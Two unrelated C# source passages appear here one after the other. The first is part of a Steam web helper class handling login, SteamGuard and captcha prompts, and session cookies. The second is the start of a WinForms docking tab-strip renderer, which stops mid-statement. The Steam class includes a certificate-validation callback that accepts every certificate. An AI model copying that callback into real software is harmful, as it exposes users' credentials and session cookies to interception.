<param name="referer">Gets information about the URL of the client's previous request that linked to the current URL.</param> /// <param name="fetchError">Return response even if its status code is not 200</param> /// <returns>An instance of a HttpWebResponse object.</returns> public HttpWebResponse Request(string url, string method, NameValueCollection data = null, bool ajax = true, string referer = "", bool fetchError = false) { // Append the data to the URL for GET-requests. bool isGetMethod = (method.ToLower() == "get"); string dataString = (data == null ? null : String.Join("&", Array.ConvertAll(data.AllKeys, key => // ReSharper disable once UseStringInterpolation string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(data[key])) ))); // Example working with C# 6 // string dataString = (data == null ? null : String.Join("&", Array.ConvertAll(data.AllKeys, key => $"{HttpUtility.UrlEncode(key)}={HttpUtility.UrlEncode(data[key])}" ))); // Append the dataString to the url if it is a GET request. if (isGetMethod && !string.IsNullOrEmpty(dataString)) { url += (url.Contains("?") ? "&" : "?") + dataString; } // Setup the request. HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); request.Method = method; request.Accept = "application/json, text/javascript;q=0.9, */*;q=0.5"; request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"; // request.Host is set automatically. request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36"; request.Referer = string.IsNullOrEmpty(referer) ? "http://steamcommunity.com/trade/1" : referer; request.Timeout = 50000; // Timeout after 50 seconds. request.CachePolicy = new HttpRequestCachePolicy(HttpRequestCacheLevel.Revalidate); request.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip; // If the request is an ajax request we need to add various other Headers, defined below. if (ajax) { request.Headers.Add("X-Requested-With", "XMLHttpRequest"); request.Headers.Add("X-Prototype-Version", "1.7"); } // Cookies request.CookieContainer = _cookies; // If the request is a GET request return now the response. If not go on. Because then we need to apply data to the request. if (isGetMethod || string.IsNullOrEmpty(dataString)) { return request.GetResponse() as HttpWebResponse; } // Write the data to the body for POST and other methods. byte[] dataBytes = Encoding.UTF8.GetBytes(dataString); request.ContentLength = dataBytes.Length; using (Stream requestStream = request.GetRequestStream()) { requestStream.Write(dataBytes, 0, dataBytes.Length); } // Get the response and return it. try { return request.GetResponse() as HttpWebResponse; } catch (WebException ex) { //this is thrown if response code is not 200 if (fetchError) { var resp = ex.Response as HttpWebResponse; if (resp != null) { return resp; } } throw; } } /// <summary> /// Executes the login by using the Steam Website. /// This Method is not used by Steambot repository, but it could be very helpful if you want to build a own Steambot or want to login into steam services like backpack.tf/csgolounge.com. /// Updated: 10-02-2015. /// </summary> /// <param name="username">Your Steam username.</param> /// <param name="password">Your Steam password.</param> /// <returns>A bool containing a value, if the login was successful.</returns> public bool DoLogin(string username, string password) { var data = new NameValueCollection {{"username", username}}; // First get the RSA key with which we will encrypt our password. string response = Fetch("https://steamcommunity.com/login/getrsakey", "POST", data, false); GetRsaKey rsaJson = JsonConvert.DeserializeObject<GetRsaKey>(response); // Validate, if we could get the rsa key. if (!rsaJson.success) { return false; } // RSA Encryption. RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(); RSAParameters rsaParameters = new RSAParameters { Exponent = HexToByte(rsaJson.publickey_exp), Modulus = HexToByte(rsaJson.publickey_mod) }; rsa.ImportParameters(rsaParameters); // Encrypt the password and convert it. byte[] bytePassword = Encoding.ASCII.GetBytes(password); byte[] encodedPassword = rsa.Encrypt(bytePassword, false); string encryptedBase64Password = Convert.ToBase64String(encodedPassword); SteamResult loginJson = null; CookieCollection cookieCollection; string steamGuardText = ""; string steamGuardId = ""; // Do this while we need a captcha or need email authentification. Probably you have misstyped the captcha or the SteamGaurd code if this comes multiple times. do { Console.WriteLine("SteamWeb: Logging In..."); bool captcha = loginJson != null && loginJson.captcha_needed; bool steamGuard = loginJson != null && loginJson.emailauth_needed; string time = Uri.EscapeDataString(rsaJson.timestamp); string capGid = string.Empty; // Response does not need to send if captcha is needed or not. // ReSharper disable once MergeSequentialChecks if (loginJson != null && loginJson.captcha_gid != null) { capGid = Uri.EscapeDataString(loginJson.captcha_gid); } data = new NameValueCollection {{"password", encryptedBase64Password}, {"username", username}}; // Captcha Check. string capText = ""; if (captcha) { Console.WriteLine("SteamWeb: Captcha is needed."); System.Diagnostics.Process.Start("https://steamcommunity.com/public/captcha.php?gid=" + loginJson.captcha_gid); Console.WriteLine("SteamWeb: Type the captcha:"); string consoleText = Console.ReadLine(); if (!string.IsNullOrEmpty(consoleText)) { capText = Uri.EscapeDataString(consoleText); } } data.Add("captchagid", captcha ? capGid : ""); data.Add("captcha_text", captcha ? capText : ""); // Captcha end. // Added Header for two factor code. data.Add("twofactorcode", ""); // Added Header for remember login. It can also set to true. data.Add("remember_login", "false"); // SteamGuard check. If SteamGuard is enabled you need to enter it. Care probably you need to wait 7 days to trade. // For further information about SteamGuard see: https://support.steampowered.com/kb_article.php?ref=4020-ALZM-5519&l=english. if (steamGuard) { Console.WriteLine("SteamWeb: SteamGuard is needed."); Console.WriteLine("SteamWeb: Type the code:"); string consoleText = Console.ReadLine(); if (!string.IsNullOrEmpty(consoleText)) { steamGuardText = Uri.EscapeDataString(consoleText); } steamGuardId = loginJson.emailsteamid; // Adding the machine name to the NameValueCollection, because it is requested by steam. Console.WriteLine("SteamWeb: Type your machine name:"); consoleText = Console.ReadLine(); var machineName = string.IsNullOrEmpty(consoleText) ? "" : Uri.EscapeDataString(consoleText); data.Add("loginfriendlyname", machineName != "" ? machineName : "defaultSteamBotMachine"); } data.Add("emailauth", steamGuardText); data.Add("emailsteamid", steamGuardId); // SteamGuard end. // Added unixTimestamp. It is included in the request normally. var unixTimestamp = (int)(DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1))).TotalSeconds; // Added three "0"'s because Steam has a weird unix timestamp interpretation. data.Add("donotcache", unixTimestamp + "000"); data.Add("rsatimestamp", time); // Sending the actual login. using(HttpWebResponse webResponse = Request("https://steamcommunity.com/login/dologin/", "POST", data, false)) { var stream = webResponse.GetResponseStream(); if (stream == null) { return false; } using (StreamReader reader = new StreamReader(stream)) { string json = reader.ReadToEnd(); loginJson = JsonConvert.DeserializeObject<SteamResult>(json); cookieCollection = webResponse.Cookies; } } } while (loginJson.captcha_needed || loginJson.emailauth_needed); // If the login was successful, we need to enter the cookies to steam. if (loginJson.success) { _cookies = new CookieContainer(); foreach (Cookie cookie in cookieCollection) { _cookies.Add(cookie); } SubmitCookies(_cookies); return true; } else { Console.WriteLine("SteamWeb Error: " + loginJson.message); return false; } } ///<summary> /// Authenticate using SteamKit2 and ISteamUserAuth. /// This does the same as SteamWeb.DoLogin(), but without contacting the Steam Website. /// </summary> /// <remarks>Should this one doesnt work anymore, use <see cref="SteamWeb.DoLogin"/></remarks> /// <param name="myUniqueId">Id what you get to login.</param> /// <param name="client">An instance of a SteamClient.</param> /// <param name="myLoginKey">Login Key of your account.</param> /// <returns>A bool, which is true if the login was successful.</returns> public bool Authenticate(string myUniqueId, SteamClient client, string myLoginKey) { Token = TokenSecure = ""; SessionId = Convert.ToBase64String(Encoding.UTF8.GetBytes(myUniqueId)); _cookies = new CookieContainer(); using (dynamic userAuth = WebAPI.GetInterface("ISteamUserAuth")) { // Generate an AES session key. var sessionKey = CryptoHelper.GenerateRandomBlock(32); // rsa encrypt it with the public key for the universe we're on byte[] cryptedSessionKey; using (RSACrypto rsa = new RSACrypto(KeyDictionary.GetPublicKey(client.ConnectedUniverse))) { cryptedSessionKey = rsa.Encrypt(sessionKey); } byte[] loginKey = new byte[20]; Array.Copy(Encoding.ASCII.GetBytes(myLoginKey), loginKey, myLoginKey.Length); // AES encrypt the loginkey with our session key. byte[] cryptedLoginKey = CryptoHelper.SymmetricEncrypt(loginKey, sessionKey); KeyValue authResult; // Get the Authentification Result. try { authResult = userAuth.AuthenticateUser( steamid: client.SteamID.ConvertToUInt64(), sessionkey: HttpUtility.UrlEncode(cryptedSessionKey), encrypted_loginkey: HttpUtility.UrlEncode(cryptedLoginKey), method: "POST", secure: true ); } catch (Exception) { Token = TokenSecure = null; return false; } Token = authResult["token"].AsString(); TokenSecure = authResult["tokensecure"].AsString(); // Adding cookies to the cookie container. _cookies.Add(new Cookie("sessionid", SessionId, string.Empty, SteamCommunityDomain)); _cookies.Add(new Cookie("steamLogin", Token, string.Empty, SteamCommunityDomain)); _cookies.Add(new Cookie("steamLoginSecure", TokenSecure, string.Empty, SteamCommunityDomain)); return true; } } /// <summary> /// Helper method to verify our precious cookies. /// </summary> /// <returns>true if cookies are correct; false otherwise</returns> public bool VerifyCookies() { using (HttpWebResponse response = Request("http://steamcommunity.com/", "HEAD")) { return response.Cookies["steamLogin"] == null || !response.Cookies["steamLogin"].Value.Equals("deleted"); } } /// <summary> /// Authenticate using an array of cookies from a browser or whatever source, without contacting the server. /// It is recommended that you call <see cref="VerifyCookies"/> after calling this method to ensure that the cookies are valid. /// </summary> /// <param name="cookies">An array of cookies from a browser or whatever source. Must contain sessionid, steamLogin, steamLoginSecure</param> /// <exception cref="ArgumentException">One of the required cookies(steamLogin, steamLoginSecure, sessionid) is missing.</exception> public void Authenticate(System.Collections.Generic.IEnumerable<Cookie> cookies) { var cookieContainer = new CookieContainer(); string token = null; string tokenSecure = null; string sessionId = null; foreach (var cookie in cookies) { if (cookie.Name == "sessionid") sessionId = cookie.Value; else if (cookie.Name == "steamLogin") token = cookie.Value; else if (cookie.Name == "steamLoginSecure") tokenSecure = cookie.Value; cookieContainer.Add(cookie); } if (token == null) throw new ArgumentException("Cookie with name \"steamLogin\" is not found."); if (tokenSecure == null) throw new ArgumentException("Cookie with name \"steamLoginSecure\" is not found."); if (sessionId == null) throw new ArgumentException("Cookie with name \"sessionid\" is not found."); Token = token; TokenSecure = tokenSecure; SessionId = sessionId; _cookies = cookieContainer; } /// <summary> /// Method to submit cookies to Steam after Login. /// </summary> /// <param name="cookies">Cookiecontainer which contains cookies after the login to Steam.</param> static void SubmitCookies (CookieContainer cookies) { HttpWebRequest w = WebRequest.Create("https://steamcommunity.com/") as HttpWebRequest; // Check, if the request is null. if (w == null) { return; } w.Method = "POST"; w.ContentType = "application/x-www-form-urlencoded"; w.CookieContainer = cookies; // Added content-length because it is required. w.ContentLength = 0; w.GetResponse().Close(); } /// <summary> /// Method to convert a Hex to a byte. /// </summary> /// <param name="hex">Input parameter as string.</param> /// <returns>The byte value.</returns> private byte[] HexToByte(string hex) { if (hex.Length % 2 == 1) { throw new Exception("The binary key cannot have an odd number of digits"); } byte[] arr = new byte[hex.Length >> 1]; int l = hex.Length; for (int i = 0; i < (l >> 1); ++i) { arr[i] = (byte)((GetHexVal(hex[i << 1]) << 4) + (GetHexVal(hex[(i << 1) + 1]))); } return arr; } /// <summary> /// Get the Hex value as int out of an char. /// </summary> /// <param name="hex">Input parameter.</param> /// <returns>A Hex Value as int.</returns> private int GetHexVal(char hex) { int val = hex; return val - (val < 58 ? 48 : 55); } /// <summary> /// Method to allow all certificates. /// </summary> /// <param name="sender">An object that contains state information for this validation.</param> /// <param name="certificate">The certificate used to authenticate the remote party.</param> /// <param name="chain">The chain of certificate authorities associated with the remote certificate.</param> /// <param name="policyErrors">One or more errors associated with the remote certificate.</param> /// <returns>Always true to accept all certificates.</returns> public bool ValidateRemoteCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors policyErrors) { return true; } } // JSON Classes // These classes are used to deserialize response strings from the login: // Example of a return string: {"success":true,"publickey_mod":"XXXX87144BF5B2CABFEC24E35655FDC5E438D6064E47D33A3531F3AAB195813E316A5D8AAB1D8A71CB7F031F801200377E8399C475C99CBAFAEFF5B24AE3CF64BXXXXB2FDBA3BC3974D6DCF1E760F8030AB5AB40FA8B9D193A8BEB43AA7260482EAD5CE429F718ED06B0C1F7E063FE81D4234188657DB40EEA4FAF8615111CD3E14CAF536CXXXX3C104BE060A342BF0C9F53BAAA2A4747E43349FF0518F8920664F6E6F09FE41D8D79C884F8FD037276DED0D1D1D540A2C2B6639CF97FF5180E3E75224EXXXX56AAA864EEBF9E8B35B80E25B405597219BFD90F3AD9765D81D148B9500F12519F1F96828C12AEF77D948D0DC9FDAF8C7CC73527ADE7C7F0FF33","publickey_exp":"010001","timestamp":"241590850000","steamid":"7656119824534XXXX","token_gid":"c35434c0c07XXXX"} /// <summary> /// Class to Deserialize the json response strings of the getResKey request. See: <see cref="SteamWeb.DoLogin"/> /// </summary> [SuppressMessage("ReSharper", "InconsistentNaming")] public class GetRsaKey { public bool success { get; set; } public string publickey_mod { get; set; } public string publickey_exp { get; set; } public string timestamp { get; set; } } // Examples: // For not accepted SteamResult: // {"success":false,"requires_twofactor":false,"message":"","emailauth_needed":true,"emaildomain":"gmail.com","emailsteamid":"7656119824534XXXX"} // For accepted SteamResult: // {"success":true,"requires_twofactor":false,"login_complete":true,"transfer_url":"https:\/\/store.steampowered.com\/login\/transfer","transfer_parameters":{"steamid":"7656119824534XXXX","token":"XXXXC39589A9XXXXCB60D651EFXXXX85578AXXXX","auth":"XXXXf1d9683eXXXXc76bdc1888XXXX29","remember_login":false,"webcookie":"XXXX4C33779A4265EXXXXC039D3512DA6B889D2F","token_secure":"XXXX63F43AA2CXXXXC703441A312E1B14AC2XXXX"}} /// <summary> /// Class to Deserialize the json response strings after the login. See: <see cref="SteamWeb.DoLogin"/> /// </summary> [SuppressMessage("ReSharper", "InconsistentNaming")] public class SteamResult { public bool success { get; set; } public string message { get; set; } public bool captcha_needed { get; set; } public string captcha_gid { get; set; } public bool emailauth_needed { get; set; } public string emailsteamid { get; set; } } }
using System; using System.Drawing; using System.Drawing.Drawing2D; using System.Windows.Forms; using System.ComponentModel; namespace WeifenLuo.WinFormsUI.Docking { internal class VS2012LightDockPaneStrip : DockPaneStripBase { private class TabVS2012Light : Tab { public TabVS2012Light(IDockContent content) : base(content) { } private int m_tabX; public int TabX { get { return m_tabX; } set { m_tabX = value; } } private int m_tabWidth; public int TabWidth { get { return m_tabWidth; } set { m_tabWidth = value; } } private int m_maxWidth; public int MaxWidth { get { return m_maxWidth; } set { m_maxWidth = value; } } private bool m_flag; protected internal bool Flag { get { return m_flag; } set { m_flag = value; } } } protected internal override Tab CreateTab(IDockContent content) { return new TabVS2012Light(content); } private sealed class InertButton : InertButtonBase { private Bitmap m_image0, m_image1; public InertButton(Bitmap image0, Bitmap image1) : base() { m_image0 = image0; m_image1 = image1; } private int m_imageCategory = 0; public int ImageCategory { get { return m_imageCategory; } set { if (m_imageCategory == value) return; m_imageCategory = value; Invalidate(); } } public override Bitmap Image { get { return ImageCategory == 0 ? m_image0 : m_image1; } } } #region Constants private const int _ToolWindowStripGapTop = 0; private const int _ToolWindowStripGapBottom = 1; private const int _ToolWindowStripGapLeft = 0; private const int _ToolWindowStripGapRight = 0; private const int _ToolWindowImageHeight = 16; private const int _ToolWindowImageWidth = 0;//16; private const int _ToolWindowImageGapTop = 3; private const int _ToolWindowImageGapBottom = 1; private const int _ToolWindowImageGapLeft = 2; private const int _ToolWindowImageGapRight = 0; private const int _ToolWindowTextGapRight = 3; private const int _ToolWindowTabSeperatorGapTop = 3; private const int _ToolWindowTabSeperatorGapBottom = 3; private const int _DocumentStripGapTop = 0; private const int _DocumentStripGapBottom = 0; private const int _DocumentTabMaxWidth = 200; private const int _DocumentButtonGapTop = 3; private const int _DocumentButtonGapBottom = 3; private const int _DocumentButtonGapBetween = 0; private const int _DocumentButtonGapRight = 3; private const int _DocumentTabGapTop = 0;//3; private const int _DocumentTabGapLeft = 0;//3; private const int _DocumentTabGapRight = 0;//3; private const int _DocumentIconGapBottom = 2;//2; private const int _DocumentIconGapLeft = 8; private const int _DocumentIconGapRight = 0; private const int _DocumentIconHeight = 16; private const int _DocumentIconWidth = 16; private const int _DocumentTextGapRight = 6; #endregion #region Members private ContextMenuStrip m_selectMenu; private static Bitmap m_imageButtonClose; private InertButton m_buttonClose; private static Bitmap m_imageButtonWindowList; private static Bitmap m_imageButtonWindowListOverflow; private InertButton m_buttonWindowList; private IContainer m_components; private ToolTip m_toolTip; private Font m_font; private Font m_boldFont; private int m_startDisplayingTab = 0; private int m_endDisplayingTab = 0; private int m_firstDisplayingTab = 0; private bool m_documentTabsOverflow = false; private static string m_toolTipSelect; private static string m_toolTipClose; private bool m_closeButtonVisible = false; private Rectangle _activeClose; private int _selectMenuMargin = 5; #endregion #region Properties private Rectangle TabStripRectangle { get { if (Appearance == DockPane.AppearanceStyle.Document) return TabStripRectangle_Document; else return TabStripRectangle_ToolWindow; } } private Rectangle TabStripRectangle_ToolWindow { get { Rectangle rect = ClientRectangle; return new Rectangle(rect.X, rect.Top + ToolWindowStripGapTop, rect.Width, rect.Height - ToolWindowStripGapTop - ToolWindowStripGapBottom); } } private Rectangle TabStripRectangle_Document { get { Rectangle rect = ClientRectangle; return new Rectangle(rect.X, rect.Top + DocumentStripGapTop, rect.Width, rect.Height + DocumentStripGapTop - ToolWindowStripGapBottom); } } private Rectangle TabsRectangle { get { if (Appearance == DockPane.AppearanceStyle.ToolWindow) return TabStripRectangle; Rectangle rectWindow = TabStripRectangle; int x = rectWindow.X; int y = rectWindow.Y; int width = rectWindow.Width; int height = rectWindow.Height; x += DocumentTabGapLeft; width -= DocumentTabGapLeft + DocumentTabGapRight + DocumentButtonGapRight + ButtonClose.Width + ButtonWindowList.Width + 2 * DocumentButtonGapBetween; return new Rectangle(x, y, width, height); } } private ContextMenuStrip SelectMenu { get { return m_selectMenu; } } public int SelectMenuMargin { get { return _selectMenuMargin; } set { _selectMenuMargin = value; } } private static Bitmap ImageButtonClose { get { if (m_imageButtonClose == null) m_imageButtonClose = Resources.DockPane_Close; return m_imageButtonClose; } } private InertButton ButtonClose { get { if (m_buttonClose == null) { m_buttonClose = new InertButton(ImageButtonClose, ImageButtonClose); m_toolTip.SetToolTip(m_buttonClose, ToolTipClose); m_buttonClose.Click += new EventHandler(Close_Click); Controls.Add(m_buttonClose); } return m_buttonClose; } } private static Bitmap ImageButtonWindowList { get { if (m_imageButtonWindowList == null) m_imageButtonWindowList = Resources.DockPane_Option; return m_imageButtonWindowList; } } private static Bitmap ImageButtonWindowListOverflow { get { if (m_imageButtonWindowListOverflow == null) m_imageButtonWindowListOverflow = Resources.DockPane_OptionOverflow; return m_imageButtonWindowListOverflow; } } private InertButton ButtonWindowList { get { if (m_buttonWindowList == null) { m_buttonWindowList = new InertButton(ImageButtonWindowList, ImageButtonWindowListOverflow); m_toolTip.SetToolTip(m_buttonWindowList, ToolTipSelect); m_buttonWindowList.Click += new EventHandler(WindowList_Click); Controls.Add(m_buttonWindowList); } return m_buttonWindowList; } } private static GraphicsPath GraphicsPath { get { return VS2005AutoHideStrip.GraphicsPath; } } private IContainer Components { get { return m_components; } } public Font TextFont { get { return DockPane.DockPanel.Skin.DockPaneStripSkin.TextFont; } } private Font BoldFont { get { if (IsDisposed) return null; if (m_boldFont == null) { m_font = TextFont; m_boldFont = new Font(TextFont, FontStyle.Bold); } else if (m_font != TextFont) { m_boldFont.Dispose(); m_font = TextFont; m_boldFont = new Font(TextFont, FontStyle.Bold); } return m_boldFont; } } private int StartDisplayingTab { get { return m_startDisplayingTab; } set { m_startDisplayingTab = value; Invalidate(); } } private int EndDisplayingTab { get { return m_endDisplayingTab; } set { m_endDisplayingTab = value; } } private int FirstDisplayingTab { get { return m_firstDisplayingTab; } set { m_firstDisplayingTab = value; } } private bool DocumentTabsOverflow { set { if (m_documentTabsOverflow == value) return; m_documentTabsOverflow = value; if (value) ButtonWindowList.ImageCategory = 1; else ButtonWindowList.ImageCategory = 0; } } #region Customizable Properties private static int ToolWindowStripGapTop { get { return _ToolWindowStripGapTop; } } private static int ToolWindowStripGapBottom { get { return _ToolWindowStripGapBottom; } } private static int ToolWindowStripGapLeft { get { return _ToolWindowStripGapLeft; } } private static int ToolWindowStripGapRight { get { return _ToolWindowStripGapRight; } } private static int ToolWindowImageHeight { get { return _ToolWindowImageHeight; } } private static int ToolWindowImageWidth { get { return _ToolWindowImageWidth; } } private static int ToolWindowImageGapTop { get { return _ToolWindowImageGapTop; } } private static int ToolWindowImageGapBottom { get { return _ToolWindowImageGapBottom; } } private static int ToolWindowImageGapLeft { get { return _ToolWindowImageGapLeft; } } private static int ToolWindowImageGapRight { get { return _ToolWindowImageGapRight; } } private static int ToolWindowTextGapRight { get { return _ToolWindowTextGapRight; } } private static int ToolWindowTabSeperatorGapTop { get { return _ToolWindowTabSeperatorGapTop; } } private static int ToolWindowTabSeperatorGapBottom { get { return _ToolWindowTabSeperatorGapBottom; } } private static string ToolTipClose { get { if (m_toolTipClose == null) m_toolTipClose = Strings.DockPaneStrip_ToolTipClose; return m_toolTipClose; } } private static string ToolTipSelect { get { if (m_toolTipSelect == null) m_toolTipSelect = Strings.DockPaneStrip_ToolTipWindowList; return m_toolTipSelect; } } private TextFormatFlags ToolWindowTextFormat { get { TextFormatFlags textFormat = TextFormatFlags.EndEllipsis | TextFormatFlags.HorizontalCenter | TextFormatFlags.SingleLine | TextFormatFlags.VerticalCenter; if (RightToLeft == RightToLeft.Yes) return textFormat | TextFormatFlags.RightToLeft | TextFormatFlags.Right; else return textFormat; } } private static int DocumentStripGapTop { get { return _DocumentStripGapTop; } } private static int DocumentStripGapBottom { get { return _DocumentStripGapBottom; } } private TextFormatFlags DocumentTextFormat { get { TextFormatFlags textFormat = TextFormatFlags.EndEllipsis | TextFormatFlags.SingleLine | TextFormatFlags.VerticalCenter | TextFormatFlags.HorizontalCenter; if (RightToLeft == RightToLeft.Yes) return textFormat | TextFormatFlags.RightToLeft; else return textFormat; } } private static int DocumentTabMaxWidth { get { return _DocumentTabMaxWidth; } } private static int DocumentButtonGapTop { get { return _DocumentButtonGapTop; } } private static int DocumentButtonGapBottom { get { return _DocumentButtonGapBottom; } } private static int DocumentButtonGapBetween { get { return _DocumentButtonGapBetween; } } private static int DocumentButtonGapRight { get { return _DocumentButtonGapRight; } } private static int DocumentTabGapTop { get { return _DocumentTabGapTop; } } private static int DocumentTabGapLeft { get { return _DocumentTabGapLeft; } } private static int DocumentTabGapRight { get { return _DocumentTabGapRight; } } private static int DocumentIconGapBottom { get { return _DocumentIconGapBottom; } } private static int DocumentIconGapLeft { get { return _DocumentIconGapLeft; } } private static int DocumentIconGapRight { get { return _DocumentIconGapRight; } } private static int DocumentIconWidth { get { return _DocumentIconWidth; } } private static int DocumentIconHeight { get { return _DocumentIconHeight; } } private static int DocumentTextGapRight { get { return _DocumentTextGapRight; } } private static Pen PenToolWindowTabBorder { get { return SystemPens.ControlDark; } } private static Pen PenDocumentTabActiveBorder { get { return SystemPens.ControlDarkDark; } } private static Pen PenDocumentTabInactiveBorder { get { return SystemPens.GrayText; } } #endregion #endregion public VS2012LightDockPaneStrip(DockPane pane) : base(pane) { SetStyle(ControlStyles.ResizeRedraw | ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); SuspendLayout(); m_components = new Container(); m_toolTip = new ToolTip(Components); m_selectMenu = new ContextMenuStrip(Components); ResumeLayout(); } protected override void Dispose(bool disposing) { if (disposing) { Components.Dispose(); if (m_boldFont != null) { m_boldFont.Dispose(); m_boldFont = null; } } base.Dispose(disposing); } protected internal override int MeasureHeight() { if (Appearance == DockPane.AppearanceStyle.ToolWindow) return MeasureHeight_ToolWindow(); else return MeasureHeight_Document(); } private int MeasureHeight_ToolWindow() { if (DockPane.IsAutoHide || Tabs.Count <= 1) return 0; int height = Math.Max(TextFont.Height, ToolWindowImageHeight + ToolWindowImageGapTop + ToolWindowImageGapBottom) + ToolWindowStripGapTop + ToolWindowStripGapBottom; return height; } private int MeasureHeight_Document() { int height = Math.Max(TextFont.Height + DocumentTabGapTop, ButtonClose.Height + DocumentButtonGapTop + DocumentButtonGapBottom) + DocumentStripGapBottom + DocumentStripGapTop; return height; } protected override void OnPaint(PaintEventArgs e) { Rectangle rect = TabsRectangle; DockPanelGradient gradient = DockPane.DockPanel.Skin.DockPaneStripSkin.DocumentGradient.DockStripGradient; if (Appearance == DockPane.AppearanceStyle.Document) { rect.X -= DocumentTabGapLeft; // Add these values back in so that the DockStrip color is drawn // beneath the close button and window list button. // It is possible depending on the DockPanel DocumentStyle to have // a Document without a DockStrip. rect.Width += DocumentTabGapLeft + DocumentTabGapRight + DocumentButtonGapRight + ButtonClose.Width + ButtonWindowList.Width; } else { gradient = DockPane.DockPanel.Skin.DockPaneStripSkin.ToolWindowGradient.DockStripGradient; } Color startColor = gradient.StartColor; Color endColor = gradient.EndColor; LinearGradientMode gradientMode = gradient.LinearGradientMode; DrawingRoutines.SafelyDrawLinearGradient(rect, startColor, endColor, gradientMode, e.Graphics); base.OnPaint(e); CalculateTabs(); if (Appearance == DockPane.AppearanceStyle.Document && DockPane.ActiveContent != null) { if (EnsureDocumentTabVisible(DockPane.ActiveContent, false)) CalculateTabs(); } DrawTabStrip(e.Graphics); } protected override void OnRefreshChanges() { SetInertButtons(); Invalidate(); } protected internal override GraphicsPath GetOutline(int index) { if (Appearance == DockPane.AppearanceStyle.Document) return GetOutline_Document(index); else return GetOutline_ToolWindow(index); } private GraphicsPath GetOutline_Document(int index) { Rectangle rectTab = GetTabRectangle(index); rectTab.X -= rectTab.Height / 2; rectTab.Intersect(TabsRectangle); rectTab = RectangleToScreen(DrawHelper.RtlTransform(this, rectTab)); Rectangle rectPaneClient = DockPane.RectangleToScreen(DockPane.ClientRectangle); GraphicsPath path = new GraphicsPath(); GraphicsPath pathTab = GetTabOutline_Document(Tabs[index], true, true, true); path.AddPath(pathTab, true); if (DockPane.DockPanel.DocumentTabStripLocation == DocumentTabStripLocation.Bottom) { path.AddLine(rectTab.Right, rectTab.Top, rectPaneClient.Right, rectTab.Top); path.AddLine(rectPaneClient.Right, rectTab.Top, rectPaneClient.Right, rectPaneClient.Top); path.AddLine(rectPaneClient.Right, rectPaneClient.Top, rectPaneClient.Left, rectPaneClient.Top); path.AddLine(rectPaneClient.Left, rectPaneClient.Top, rectPaneClient.Left, rectTab.Top); path.AddLine(rectPaneClient.Left, rectTab.Top, rectTab.Right, rectTab.Top); } else { path.AddLine(rectTab.Right, rectTab.Bottom, rectPaneClient.Right, rectTab.Bottom); path.AddLine(rectPaneClient.Right, rectTab.Bottom, rectPaneClient.Right, rectPaneClient.Bottom); path.AddLine(rectPaneClient.Right, rectPaneClient.Bottom, rectPaneClient.Left, rectPaneClient.Bottom); path.AddLine(rectPaneClient.Left, rectPaneClient.Bottom, rectPaneClient.Left, rectTab.Bottom); path.AddLine(rectPaneClient.Left, rectTab.Bottom, rectTab.Right, rectTab.Bottom); } return path; } private GraphicsPath GetOutline_ToolWindow(int index) { Rectangle rectTab = GetTabRectangle(index); rectTab.Intersect(TabsRectangle); rectTab = RectangleToScreen(DrawHelper.RtlTransform(this, rectTab)); Rectangle rectPaneClient = DockPane.RectangleToScreen(DockPane.ClientRectangle); GraphicsPath path = new GraphicsPath(); GraphicsPath pathTab = GetTabOutline(Tabs[index], true, true); path.AddPath(pathTab, true); path.AddLine(rectTab.Left, rectTab.Top, rectPaneClient.Left, rectTab.Top); path.AddLine(rectPaneClient.Left, rectTab.Top, rectPaneClient.Left, rectPaneClient.Top); path.AddLine(rectPaneClient.Left, rectPaneClient.Top, rectPaneClient.Right, rectPaneClient.Top); path.AddLine(rectPaneClient.Right, rectPaneClient.Top, rectPaneClient.Right, rectTab.Top); path.AddLine(rectPaneClient.Right, rectTab.Top, rectTab.Right, rectTab.Top); return path; } private void CalculateTabs() { if (Appearance == DockPane.AppearanceStyle.ToolWindow) CalculateTabs_ToolWindow(); else CalculateTabs_Document(); } private void CalculateTabs_ToolWindow() { if (Tabs.Count <= 1 || DockPane.IsAutoHide) return; Rectangle rectTabStrip = TabStripRectangle; // Calculate tab widths int countTabs = Tabs.Count; foreach (TabVS2012Light tab in Tabs) { tab.MaxWidth = GetMaxTabWidth(Tabs.IndexOf(tab)); tab.Flag = false; } // Set tab whose max width less than average width bool anyWidthWithinAverage = true; int totalWidth = rectTabStrip.Width - ToolWindowStripGapLeft - ToolWindowStripGapRight; int totalAllocatedWidth = 0; int averageWidth = totalWidth / countTabs; int remainedTabs = countTabs; for (anyWidthWithinAverage = true; anyWidthWithinAverage && remainedTabs > 0; ) { anyWidthWithinAverage = false; foreach (TabVS2012Light tab in Tabs) { if (tab.Flag) continue; if (tab.MaxWidth <= averageWidth) { tab.Flag = true; tab.TabWidth = tab.MaxWidth; totalAllocatedWidth += tab.TabWidth; anyWidthWithinAverage = true; remainedTabs--; } } if (remainedTabs != 0) averageWidth = (totalWidth - totalAllocatedWidth) / remainedTabs; } // If any tab width not set yet, set it to the average width if (remainedTabs > 0) { int roundUpWidth = (totalWidth - totalAllocatedWidth) - (averageWidth * remainedTabs); foreach (TabVS2012Light tab in Tabs) { if (tab.Flag) continue; tab.Flag = true; if (roundUpWidth > 0) { tab.TabWidth = averageWidth + 1; roundUpWidth--; } else tab.TabWidth = averageWidth; } } // Set the X position of the tabs int x = rectTabStrip.X + ToolWindowStripGapLeft; foreach (TabVS2012Light tab in Tabs) { tab.TabX = x; x += tab.TabWidth; } } private bool CalculateDocumentTab(Rectangle rectTabStrip, ref int x, int index) { bool overflow = false; var tab = Tabs[index] as TabVS2012Light; tab.MaxWidth = GetMaxTabWidth(index); int width = Math.Min(tab.MaxWidth, DocumentTabMaxWidth); if (x + width < rectTabStrip.Right || index == StartDisplayingTab) { tab.TabX = x; tab.TabWidth = width; EndDisplayingTab = index; } else { tab.TabX = 0; tab.TabWidth = 0; overflow = true; } x += width; return overflow; } /// <summary> /// Calculate which tabs are displayed and in what order. /// </summary> private void CalculateTabs_Document() { if (m_startDisplayingTab >= Tabs.Count) m_startDisplayingTab = 0; Rectangle rectTabStrip 